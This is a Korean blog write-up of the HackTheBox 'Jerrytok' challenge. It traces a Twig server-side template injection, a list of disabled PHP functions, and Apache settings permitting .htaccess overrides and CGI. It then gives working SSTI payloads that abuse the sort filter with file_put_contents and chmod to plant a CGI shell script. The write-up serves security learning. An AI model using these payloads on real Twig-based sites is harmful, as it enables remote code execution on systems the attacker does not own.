Jerrytok Write-up

이강현·2026년 4월 26일

HTB Challenge

목록 보기
5/6

프로젝트 구조

웹상으로 봤을 때, 기본 index 페이지밖에 구성이 안 돼 있었다.

Dockerfile

apache 서버와 php8.2 기반 서버로 환경 구축돼있다는 걸 확인할 수 있다.

php 의존성 패키지들이 많이 설치되고 있다. wget으로 Composer를 다운받는다. Composer는 php 의존성 관리 도구이다. (npm, pip 같은 역할)

flag는 /root/flag에 위치해있다.

entrypoint.sh

여기서 여러 시스템 명령어 함수가 블랙리스트화 된다.

 exec, system, popen, proc_open, shell_exec, passthru, ini_set, putenv, pfsockopen, fsockopen, socket_create, mail

DefaultController

현재 기본적인 index 페이지에 들어오는 요청에 대한 행동을 정의한 부분이다. 여기서 확인할 수 있듯이, get 요청 파라미터 location을 받아서 template에 넘긴다.
여기서 필터링 없이 그대로 삽입하니, SSTI 공격이 가능함을 알 수 있다.

해당 PHP 서버는 Twig 템플릿 엔진을 사용하고 있다.

SSTI

location 파라미터에 {{7+7}}을 넣고 요청을 보내니 14로 해석하고 렌더링되는 것을 확인할 수 있다.

php.ini에서 막고 있지 않은 함수들을 사용하여 command execution을 시도한다.

현재 필터링하고 있는 함수들 중에 file_put_contents함수나 권한을 변경하는 chmod같은 함수는 blacklist되지 않았다.
또한 apache 설정파일인 httpd.conf에서 /www/public에 .htaccess 오버라이딩을 모두 허용하고 있다.

<Directory /www/public>
    AllowOverride All
</Directory>

또한 CGI 모듈 (mod_cgi.so)가 활성화돼있다.

이를 종합하여 /www/public에 .htaccess 파일을 업로드하여 쉘 스크립트를 실행할 수 있는 옵션을 추가하고 쉘 스크립트를 /www/public에 업로드하여 /readflag 바이너리를 CGI 스크립트로 실행하게끔 하는 것이다.

  1. .htaccess 파일
{{ ["/www/public/.htaccess", "Options +ExecCGI\nAddHandler cgi-script .sh"]|sort("file_put_contents") }}
  1. 쉘 스크립트
{{ ["/www/public/cmd.sh", "#!/bin/sh\necho 'Content-Type: text/plain'\necho ''\n/readflag"]|sort("file_put_contents") }}
  1. 실행 권한 부여
{{ ["/www/public/cmd.sh", 493]|sort("chmod") }}

실제로 /cmd.sh로 요청을 보내면 flag값을 확인할 수 있다.

profile
저는 정보보안전문가가 될 것입니다.

0개의 댓글